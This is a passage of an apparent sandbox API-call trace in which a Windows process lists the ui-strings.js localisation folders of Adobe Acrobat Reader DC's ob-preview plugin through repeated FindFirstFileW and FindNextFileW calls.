ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0259.241] GetProcessHeap () returned 0xc10000 [0259.241] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.242] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\js\\nls\\pt-br\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0259.242] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.242] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x111e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0259.242] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x111e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0259.242] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0259.242] GetProcessHeap () returned 0xc10000 [0259.242] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.242] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0259.242] GetProcessHeap () returned 0xc10000 [0259.242] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.242] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\js\\nls\\ro-ro\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0259.243] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.243] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1237, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0259.243] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1237, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0259.243] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0259.243] GetProcessHeap () returned 0xc10000 [0259.243] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.243] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0259.244] GetProcessHeap () returned 0xc10000 [0259.244] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.244] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\js\\nls\\root\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0259.244] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.244] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xfd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0259.244] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xfd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0259.244] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0259.244] GetProcessHeap () returned 0xc10000 [0259.244] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.244] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0259.244] GetProcessHeap () returned 0xc10000 [0259.244] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.244] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\js\\nls\\ru-ru\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0259.247] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.247] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x17ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0259.247] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x17ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0259.247] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0259.247] GetProcessHeap () returned 0xc10000 [0259.247] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.247] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0259.247] GetProcessHeap () returned 0xc10000 [0259.247] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.247] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\js\\nls\\sk-sk\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0259.248] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.248] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x120b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0259.248] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x120b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0259.248] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0259.249] GetProcessHeap () returned 0xc10000 [0259.249] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.249] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0259.249] GetProcessHeap () returned 0xc10000 [0259.249] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.249] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\js\\nls\\sl-si\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0259.249] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.249] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1143, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0259.249] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1143, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0259.249] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0259.249] GetProcessHeap () returned 0xc10000 [0259.249] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.250] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0259.250] GetProcessHeap () returned 0xc10000 [0259.250] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.250] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\js\\nls\\sl-sl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0259.250] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.250] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0259.250] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0259.250] GetProcessHeap () returned 0xc10000 [0259.250] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.250] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0259.250] GetProcessHeap () returned 0xc10000 [0259.250] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.250] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\js\\nls\\sv-se\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0259.251] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.251] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x10a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0259.251] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x10a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0259.251] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0259.251] GetProcessHeap () returned 0xc10000 [0259.251] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.251] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, 